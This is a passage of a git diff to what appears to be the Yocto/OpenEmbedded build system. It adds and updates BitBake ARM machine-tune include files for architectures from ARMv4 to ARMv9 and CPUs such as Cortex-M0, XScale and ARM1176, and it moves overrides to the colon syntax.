+DEFAULTTUNE ?= "armv8-5a"
+
+TUNEVALID[armv8-5a] = "Enable instructions for ARMv8.5-a"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-5a', ' -march=armv8.5-a', '', d)}"
+# TUNE crypto will be handled by arch-armv8a.inc below
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-5a', 'armv8-5a:', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+require conf/machine/include/arm/feature-arm-sve.inc
+
+# Little Endian base configs
+AVAILTUNES += "armv8-5a armv8-5a-crypto armv8-5a-crypto-sve"
+ARMPKGARCH:tune-armv8-5a ?= "armv8-5a"
+ARMPKGARCH:tune-armv8-5a-crypto ?= "armv8-5a"
+ARMPKGARCH:tune-armv8-5a-crypto-sve ?= "armv8-5a"
+TUNE_FEATURES:tune-armv8-5a = "aarch64 armv8-5a"
+TUNE_FEATURES:tune-armv8-5a-crypto = "${TUNE_FEATURES:tune-armv8-5a} crypto"
+TUNE_FEATURES:tune-armv8-5a-crypto-sve = "${TUNE_FEATURES:tune-armv8-5a-crypto} sve"
+PACKAGE_EXTRA_ARCHS:tune-armv8-5a = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8-5a"
+PACKAGE_EXTRA_ARCHS:tune-armv8-5a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-5a} armv8-5a-crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8-5a-crypto-sve = "${PACKAGE_EXTRA_ARCHS:tune-armv8-5a-crypto} armv8-5a-crypto-sve"
+BASE_LIB:tune-armv8-5a = "lib64"
+BASE_LIB:tune-armv8-5a-crypto = "lib64"
+BASE_LIB:tune-armv8-5a-crypto-sve = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8-6a.inc b/meta/conf/machine/include/arm/arch-armv8-6a.inc
new file mode 100644
index 0000000000..27f85325ca
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8-6a.inc
@@ -0,0 +1,22 @@
+DEFAULTTUNE ?= "armv8-6a"
+
+TUNEVALID[armv8-6a] = "Enable instructions for ARMv8.6-a"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-6a', ' -march=armv8.6-a', '', d)}"
+# TUNE crypto will be handled by arch-armv8a.inc below
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-6a', 'armv8-6a:', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+AVAILTUNES += "armv8-6a armv8-6a-crypto armv8-6a-crypto-sve"
+ARMPKGARCH:tune-armv8-6a ?= "armv8-6a"
+ARMPKGARCH:tune-armv8-6a-crypto ?= "armv8-6a"
+ARMPKGARCH:tune-armv8-6a-crypto-sve ?= "armv8-6a"
+TUNE_FEATURES:tune-armv8-6a = "aarch64 armv8-6a"
+TUNE_FEATURES:tune-armv8-6a-crypto = "${TUNE_FEATURES:tune-armv8-6a} crypto"
+TUNE_FEATURES:tune-armv8-6a-crypto-sve = "${TUNE_FEATURES:tune-armv8-6a-crypto} sve"
+PACKAGE_EXTRA_ARCHS:tune-armv8-6a = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8-6a"
+PACKAGE_EXTRA_ARCHS:tune-armv8-6a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-6a} armv8-6a-crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8-6a-crypto-sve = "${PACKAGE_EXTRA_ARCHS:tune-armv8-6a-crypto} armv8-6a-crypto-sve"
+BASE_LIB:tune-armv8-6a = "lib64"
+BASE_LIB:tune-armv8-6a-crypto = "lib64"
+BASE_LIB:tune-armv8-6a-crypto-sve = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8a.inc b/meta/conf/machine/include/arm/arch-armv8a.inc
index f810a1e8fc..97c944dfa5 100644
--- a/meta/conf/machine/include/arm/arch-armv8a.inc
+++ b/meta/conf/machine/include/arm/arch-armv8a.inc
@@ -1,30 +1,28 @@
DEFAULTTUNE ?= "armv8a-crc"
TUNEVALID[armv8a] = "Enable instructions for ARMv8-a"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', ' -march=armv8-a', '', d)}"
-TUNEVALID[crc] = "Enable instructions for ARMv8-a Cyclic Redundancy Check (CRC)"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'crc', '+crc', '', d)}"
-TUNEVALID[crypto] = "Enable instructions for ARMv8-a cryptographic"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'crypto', '+crypto', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', 'armv8a:', '' ,d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', ' -march=armv8-a', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', 'armv8a:', '', d)}"
require conf/machine/include/arm/arch-arm64.inc
+require conf/machine/include/arm/feature-arm-crc.inc
+require conf/machine/include/arm/feature-arm-crypto.inc
# Little Endian base configs
AVAILTUNES += "armv8a armv8a-crc armv8a-crc-crypto armv8a-crypto"
-ARMPKGARCH_tune-armv8a ?= "armv8a"
-ARMPKGARCH_tune-armv8a-crc ?= "armv8a"
-ARMPKGARCH_tune-armv8a-crypto ?= "armv8a"
-ARMPKGARCH_tune-armv8a-crc-crypto ?= "armv8a"
-TUNE_FEATURES_tune-armv8a = "aarch64 armv8a"
-TUNE_FEATURES_tune-armv8a-crc = "${TUNE_FEATURES_tune-armv8a} crc"
-TUNE_FEATURES_tune-armv8a-crypto = "${TUNE_FEATURES_tune-armv8a} crypto"
-TUNE_FEATURES_tune-armv8a-crc-crypto = "${TUNE_FEATURES_tune-armv8a-crc} crypto"
-PACKAGE_EXTRA_ARCHS_tune-armv8a = "aarch64 armv8a"
-PACKAGE_EXTRA_ARCHS_tune-armv8a-crc = "${PACKAGE_EXTRA_ARCHS_tune-armv8a} armv8a-crc"
-PACKAGE_EXTRA_ARCHS_tune-armv8a-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a} armv8a-crypto"
-PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} armv8a-crypto armv8a-crc-crypto"
-BASE_LIB_tune-armv8a = "lib64"
-BASE_LIB_tune-armv8a-crc = "lib64"
-BASE_LIB_tune-armv8a-crypto = "lib64"
-BASE_LIB_tune-armv8a-crc-crypto = "lib64"
+ARMPKGARCH:tune-armv8a ?= "armv8a"
+ARMPKGARCH:tune-armv8a-crc ?= "armv8a"
+ARMPKGARCH:tune-armv8a-crypto ?= "armv8a"
+ARMPKGARCH:tune-armv8a-crc-crypto ?= "armv8a"
+TUNE_FEATURES:tune-armv8a = "aarch64 armv8a"
+TUNE_FEATURES:tune-armv8a-crc = "${TUNE_FEATURES:tune-armv8a} crc"
+TUNE_FEATURES:tune-armv8a-crypto = "${TUNE_FEATURES:tune-armv8a} crypto"
+TUNE_FEATURES:tune-armv8a-crc-crypto = "${TUNE_FEATURES:tune-armv8a-crc} crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8a = "aarch64 armv8a"
+PACKAGE_EXTRA_ARCHS:tune-armv8a-crc = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8a-crc"
+PACKAGE_EXTRA_ARCHS:tune-armv8a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8a-crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} armv8a-crypto armv8a-crc-crypto"
+BASE_LIB:tune-armv8a = "lib64"
+BASE_LIB:tune-armv8a-crc = "lib64"
+BASE_LIB:tune-armv8a-crypto = "lib64"
+BASE_LIB:tune-armv8a-crc-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8m-base.inc b/meta/conf/machine/include/arm/arch-armv8m-base.inc
new file mode 100644
index 0000000000..ffee8cea80
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8m-base.inc
@@ -0,0 +1,17 @@
+#
+# Defaults for ARMv8-m.base
+#
+DEFAULTTUNE ?= "armv8m-base"
+
+TUNEVALID[armv8m-base] = "Enable instructions for ARMv8-m.base"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-base', ' -march=armv8-m.base', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-base', 'armv8m-base:', '', d)}"
+
+TUNECONFLICTS[armv8m-base] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv7m.inc
+
+AVAILTUNES += "armv8m-base"
+ARMPKGARCH:tune-armv8m-base = "armv8m-base"
+TUNE_FEATURES:tune-armv8m-base = "armv8m-base"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-base = "armv8m-base"
diff --git a/meta/conf/machine/include/arm/arch-armv8m-main.inc b/meta/conf/machine/include/arm/arch-armv8m-main.inc
new file mode 100644
index 0000000000..01bef35428
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8m-main.inc
@@ -0,0 +1,28 @@
+#
+# Defaults for ARMv8-m.main
+#
+DEFAULTTUNE ?= "armv8m-main"
+
+require conf/machine/include/arm/arch-armv8m-base.inc
+require conf/machine/include/arm/feature-arm-dsp.inc
+require conf/machine/include/arm/feature-arm-neon.inc
+
+TUNEVALID[armv8m-main] = "Enable instructions for ARMv8-m.main"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-main', ' -march=armv8-m.main', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-main', 'armv8m-main:', '', d)}"
+
+TUNECONFLICTS[armv8m-main] = "armv4 armv5 armv6 armv7a"
+
+AVAILTUNES += "armv8m-main armv8m-maine armv8m-main-vfpv5spd16 armv8m-maine-vfpv5spd16"
+ARMPKGARCH:tune-armv8m-main = "armv8m-main"
+ARMPKGARCH:tune-armv8m-maine = "armv8m-main"
+ARMPKGARCH:tune-armv8m-main-vfpv5spd16 = "armv8m-main"
+ARMPKGARCH:tune-armv8m-maine-vfpv5spd16 = "armv8m-main"
+TUNE_FEATURES:tune-armv8m-main = "armv8m-main"
+TUNE_FEATURES:tune-armv8m-maine = "${TUNE_FEATURES:tune-armv8m-main} dsp"
+TUNE_FEATURES:tune-armv8m-main-vfpv5spd16 = "${TUNE_FEATURES:tune-armv8m-main} vfpv5spd16"
+TUNE_FEATURES:tune-armv8m-maine-vfpv5spd16 = "${TUNE_FEATURES:tune-armv8m-main-vfpv5spd16} dsp"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-main = "armv8m-main"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-maine = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-main} armv8m-maine"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-main-vfpv5spd16 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-main} armv8m-main-fpv5-spd16"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-maine-vfpv5spd16 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-main} armv8m-maine-fpv5-spd16"
diff --git a/meta/conf/machine/include/arm/arch-armv8r.inc b/meta/conf/machine/include/arm/arch-armv8r.inc
new file mode 100644
index 0000000000..2fea8d2517
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8r.inc
@@ -0,0 +1,38 @@
+#
+# Defaults for ARMv8-r
+#
+DEFAULTTUNE ?= "armv8r"
+
+TUNEVALID[armv8r] = "Enable instructions for ARMv8-r"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8r', ' -march=armv8-r', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8r', 'armv8r:', '', d)}"
+
+require conf/machine/include/arm/arch-arm64.inc
+require conf/machine/include/arm/feature-arm-crc.inc
+require conf/machine/include/arm/feature-arm-crypto.inc
+require conf/machine/include/arm/feature-arm-sve.inc
+
+# All ARMv8 has floating point hardware built in. Null it here to avoid any confusion for 32bit.
+TARGET_FPU_32 = ""
+
+AVAILTUNES += "armv8r armv8r-crc armv8r-crypto armv8r-simd armv8r-crc-crypto armv8r-crc-simd armv8r-crc-crypto-simd"
+ARMPKGARCH:tune-armv8r = "armv8r"
+ARMPKGARCH:tune-armv8r-crc = "armv8r"
+ARMPKGARCH:tune-armv8r-crypto = "armv8r"
+ARMPKGARCH:tune-armv8r-simd = "armv8r"
+ARMPKGARCH:tune-armv8r-crc-crypto = "armv8r"
+ARMPKGARCH:tune-armv8r-crc-simd = "armv8r"
+ARMPKGARCH:tune-armv8r-crc-crypto-simd = "armv8r"
+TUNE_FEATURES:tune-armv8r = "armv8r"
+TUNE_FEATURES:tune-armv8r-crc = "${TUNE_FEATURES:tune-armv8r} crc"
+TUNE_FEATURES:tune-armv8r-crypto = "${TUNE_FEATURES:tune-armv8r} crypto"
+TUNE_FEATURES:tune-armv8r-simd = "${TUNE_FEATURES:tune-armv8r} simd"
+TUNE_FEATURES:tune-armv8r-crc-crypto = "${TUNE_FEATURES:tune-armv8r-crc} crypto"
+TUNE_FEATURES:tune-armv8r-crc-simd = "${TUNE_FEATURES:tune-armv8r-crc} simd"
+TUNE_FEATURES:tune-armv8r-crc-crypto-simd = "${TUNE_FEATURES:tune-armv8r-crc-crypto} simd"
+PACKAGE_EXTRA_ARCHS:tune-armv8r = "armv8r"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crc = "${PACKAGE_EXTRA_ARCHS:tune-armv8r} armv8r-crc"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8r} armv8r-crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-simd = "${PACKAGE_EXTRA_ARCHS:tune-armv8r} armv8r-simd"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-simd = "${PACKAGE_EXTRA_ARCHS:tune-armv8r-crc} armv8r-simd armv8r-crc-simd"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-crypto-simd = "${PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-simd} armv8r-crc-crypto-simd"
diff --git a/meta/conf/machine/include/arm/arch-armv9a.inc b/meta/conf/machine/include/arm/arch-armv9a.inc
new file mode 100644
index 0000000000..e8d7c08a63
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv9a.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "armv9a"
+
+TUNEVALID[armv9a] = "Enable instructions for ARMv9-a"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv9a', ' -march=armv9-a', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv9a', 'armv9a:', '', d)}"
+
+require conf/machine/include/arm/arch-arm64.inc
+require conf/machine/include/arm/feature-arm-crypto.inc
+
+# Little Endian base configs
+AVAILTUNES += "armv9a armv9a-crypto"
+ARMPKGARCH:tune-armv9a ?= "armv9a"
+ARMPKGARCH:tune-armv9a-crypto ?= "armv9a"
+TUNE_FEATURES:tune-armv9a = "aarch64 armv9a"
+TUNE_FEATURES:tune-armv9a-crypto = "${TUNE_FEATURES:tune-armv9a} crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv9a = "aarch64 armv9a"
+PACKAGE_EXTRA_ARCHS:tune-armv9a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv9a} armv9a-crypto"
+BASE_LIB:tune-armv9a = "lib64"
+BASE_LIB:tune-armv9a-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv4/tune-arm920t.inc b/meta/conf/machine/include/arm/armv4/tune-arm920t.inc
new file mode 100644
index 0000000000..1b1cbdb5a7
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-arm920t.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "arm920t"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[arm920t] = "Enable arm920t specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', ' -mcpu=arm920t', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', 'armv4:', '', d)}"
+
+AVAILTUNES += "arm920t"
+ARMPKGARCH:tune-arm920t = "arm920t"
+# mcpu is used so don't use armv4t as we don't want march
+TUNE_FEATURES:tune-arm920t = "arm thumb arm920t"
+PACKAGE_EXTRA_ARCHS:tune-arm920t = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} arm920t arm920tt"
diff --git a/meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc b/meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc
new file mode 100644
index 0000000000..78b890b43c
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "arm9tdmi"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[arm9tdmi] = "Enable arm9tdmi specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', ' -mcpu=arm9tdmi', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', 'armv4:', '', d)}"
+
+AVAILTUNES += "arm9tdmi"
+ARMPKGARCH:tune-arm9tdmi = "arm9tdmi"
+# mcpu is used so don't use armv4t as we don't want march
+TUNE_FEATURES:tune-arm9tdmi = "arm thumb arm9tdmi"
+PACKAGE_EXTRA_ARCHS:tune-arm9tdmi = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} arm9tdmi arm9tdmit"
diff --git a/meta/conf/machine/include/arm/armv4/tune-ep9312.inc b/meta/conf/machine/include/arm/armv4/tune-ep9312.inc
new file mode 100644
index 0000000000..0d481d3888
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-ep9312.inc
@@ -0,0 +1,12 @@
+DEFAULTTUNE ?= "ep9312"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[ep9312] = "Enable Cirrus Logic EP9312 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', ' -march=ep9312 -mcpu=ep9312', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', 'armv4:', '', d)}"
+
+AVAILTUNES += "ep9312"
+ARMPKGARCH:tune-ep9312 = "ep9312"
+TUNE_FEATURES:tune-ep9312 = "thumb ep9312"
+PACKAGE_EXTRA_ARCHS:tune-ep9312 = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} ep9312t"
diff --git a/meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc b/meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc
new file mode 100644
index 0000000000..38ea9b7dd5
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc
@@ -0,0 +1,12 @@
+DEFAULTTUNE ?= "strongarm"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[strongarm] = "Enable Strongarm 1100 series processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', ' -mcpu=strongarm1100', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', 'armv4:', '', d)}"
+
+AVAILTUNES += "strongarm"
+ARMPKGARCH:tune-strongarm = "strongarm"
+TUNE_FEATURES:tune-strongarm = "arm strongarm"
+PACKAGE_EXTRA_ARCHS:tune-strongarm = "${PACKAGE_EXTRA_ARCHS:tune-armv4} strongarm"
diff --git a/meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc b/meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc
new file mode 100644
index 0000000000..84c5084868
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "armv5te"
+
+require conf/machine/include/arm/arch-armv5-dsp.inc
+
+TUNEVALID[arm926ejs] = "Enable arm926ejs specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', ' -mcpu=arm926ej-s', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', 'armv5:', '', d)}"
+
+AVAILTUNES += "arm926ejs"
+ARMPKGARCH:tune-arm926ejs = "arm926ejs"
+# mcpu is used so don't use armv5te as we don't want march
+TUNE_FEATURES:tune-arm926ejs = "arm thumb dsp arm926ejs"
+PACKAGE_EXTRA_ARCHS:tune-arm926ejs = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} arm926ejste arm926ejse"
diff --git a/meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc b/meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc
new file mode 100644
index 0000000000..c584b47d18
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc
@@ -0,0 +1,15 @@
+# Configurations for the Intel PXA27x Appications Processor Family.
+# Please use tune-xscale for PXA255/PXA26x based processors.
+
+DEFAULTTUNE ?= "iwmmxt"
+
+require conf/machine/include/arm/arch-armv5-dsp.inc
+
+TUNEVALID[iwmmxt] = "Enable Intel PXA27x specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'iwmmxt', ' -mcpu=iwmmxt', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'iwmmxt', 'armv5:', '', d)}"
+
+AVAILTUNES += "iwmmxt"
+ARMPKGARCH:tune-iwmmxt = "iwmmxt"
+TUNE_FEATURES:tune-iwmmxt = "thumb iwmmxt"
+PACKAGE_EXTRA_ARCHS:tune-iwmmxt = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} iwmmxt iwmmxtt"
diff --git a/meta/conf/machine/include/arm/armv5/tune-xscale.inc b/meta/conf/machine/include/arm/armv5/tune-xscale.inc
new file mode 100644
index 0000000000..cc67dcd304
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv5/tune-xscale.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "armv5te"
+
+require conf/machine/include/arm/arch-armv5-dsp.inc
+
+TUNEVALID[xscale] = "Enable PXA255/PXA26x Xscale specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'xscale', ' -mcpu=xscale', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'xscale', 'armv5:', '', d)}"
+
+AVAILTUNES += "xscale"
+ARMPKGARCH:tune-xscale = "xscale"
+# mcpu is used so don't use armv5te as we don't want march
+TUNE_FEATURES:tune-xscale = "arm thumb dsp xscale"
+PACKAGE_EXTRA_ARCHS:tune-xscale = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} xscale xscalet xscalee xscalete"
+
+AVAILTUNES += "xscale-be"
+ARMPKGARCH:tune-xscale-be = "xscale"
+# mcpu is used so don't use armv5te as we don't want march
+TUNE_FEATURES:tune-xscale-be = "${TUNE_FEATURES:tune-xscale} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-xscale-be = "${PACKAGE_EXTRA_ARCHS:tune-armv5teb} xscaleb xscaletb xscaleeb xscaleteb"
diff --git a/meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc b/meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc
new file mode 100644
index 0000000000..b848580948
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc
@@ -0,0 +1,16 @@
+DEFAULTTUNE ?= "armv6hf"
+
+require conf/machine/include/arm/arch-armv6.inc
+
+TUNEVALID[arm1136jfs] = "Enable arm1136jfs specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', ' -mcpu=arm1136jf-s', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', 'armv6:', '', d)}"
+
+AVAILTUNES += "arm1136jfs arm1136jfshf"
+ARMPKGARCH:tune-arm1136jfs = "arm1136jfs"
+ARMPKGARCH:tune-arm1136jfshf = "arm1136jfs"
+# mcpu is used so don't use armv6 as we don't want march
+TUNE_FEATURES:tune-arm1136jfs = "arm vfp arm1136jfs"
+TUNE_FEATURES:tune-arm1136jfshf = "${TUNE_FEATURES:tune-arm1136jfs} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-arm1136jfs = "${PACKAGE_EXTRA_ARCHS:tune-armv6} arm1136jfs-vfp"
+PACKAGE_EXTRA_ARCHS:tune-arm1136jfshf = "${PACKAGE_EXTRA_ARCHS:tune-armv6hf} arm1136jfshf-vfp"
diff --git a/meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc b/meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc
new file mode 100644
index 0000000000..21d77f081e
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "arm1176jzs"
+
+require conf/machine/include/arm/arch-armv6.inc
+
+TUNEVALID[arm1176jzs] = "Enable arm1176jzs specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', ' -mcpu=arm1176jz-s', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', 'armv6:', '', d)}"
+
+AVAILTUNES += "arm1176jzs"
+ARMPKGARCH:tune-arm1176jzs = "arm1176jzs"
+TUNE_FEATURES:tune-arm1176jzs = "arm thumb arm1176jzs"
+PACKAGE_EXTRA_ARCHS:tune-arm1176jzs = "${PACKAGE_EXTRA_ARCHS:tune-armv6t-novfp} arm1176jzs arm1176jzst"
+
+AVAILTUNES += "arm1176jzs-be"
+ARMPKGARCH:tune-arm1176jzs-be = "${ARMPKGARCH:tune-arm1176jzs}"
+TUNE_FEATURES:tune-arm1176jzs-be = "${TUNE_FEATURES:tune-arm1176jzs} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-arm1176jzs-be = "${PACKAGE_EXTRA_ARCHS:tune-armv6tb-novfp} arm1176jzsb arm1176jzstb"
diff --git a/meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc b/meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc
new file mode 100644
index 0000000000..aadc5326ce
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "cortexm0"
+require conf/machine/include/arm/arch-armv6m.inc
+
+TUNEVALID[cortexm0] = "Enable Cortex-M0 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm0', ' -mcpu=cortex-m0', '', d)}"
+AVAILTUNES += "cortexm0"
+
+ARMPKGARCH:tune-cortexm0 = "cortexm0"
+TUNE_FEATURES:tune-cortexm0 = "${TUNE_FEATURES:tune-armv6m} cortexm0"
+
+PACKAGE_EXTRA_ARCHS:tune-cortexm0 = "${PACKAGE_EXTRA_ARCHS:tune-armv6m} cortexm0"
diff --git a/meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc b/meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc
new file mode 100644
index 0000000000..a3cf3f0bd2
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "cortexm0-plus"
+require conf/machine/include/arm/arch-armv6m.inc
+
+TUNEVALID[cortexm0-plus] = "Enable Cortex-M0 Plus specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm0-plus', ' -mcpu=cortex-m0plus', '', d)}"
+AVAILTUNES += "cortexm0-plus"
+
+ARMPKGARCH:tune-cortexm0-plus = "cortexm0-plus"
+TUNE_FEATURES:tune-cortexm0-plus = "${TUNE_FEATURES:tune-armv6m} cortexm0-plus"
+
+PACKAGE_EXTRA_ARCHS:tune-cortexm0-plus = "${PACKAGE_EXTRA_ARCHS:tune-armv6m} cortexm0-plus"
diff --git a/meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc b/meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc
new file mode 100644
index 0000000000..16661f3a26
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M1
+#
+DEFAULTTUNE ?= "cortexm1"
+
+TUNEVALID[cortexm1] = "Enable Cortex-M1 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm1', ' -mcpu=cortex-m1', '', d)}"
+
+require conf/machine/include/arm/arch-armv6m.inc
+
+AVAILTUNES += "cortexm1"
+ARMPKGARCH:tune-cortexm1 = "cortexm1"
+TUNE_FEATURES:tune-cortexm1 = "${TUNE_FEATURES:tune-armv6m} cortexm1"
+PACKAGE_EXTRA_ARCHS:tune-cortexm1 = "${PACKAGE_EXTRA_ARCHS:tune-armv6m} cortexm1"
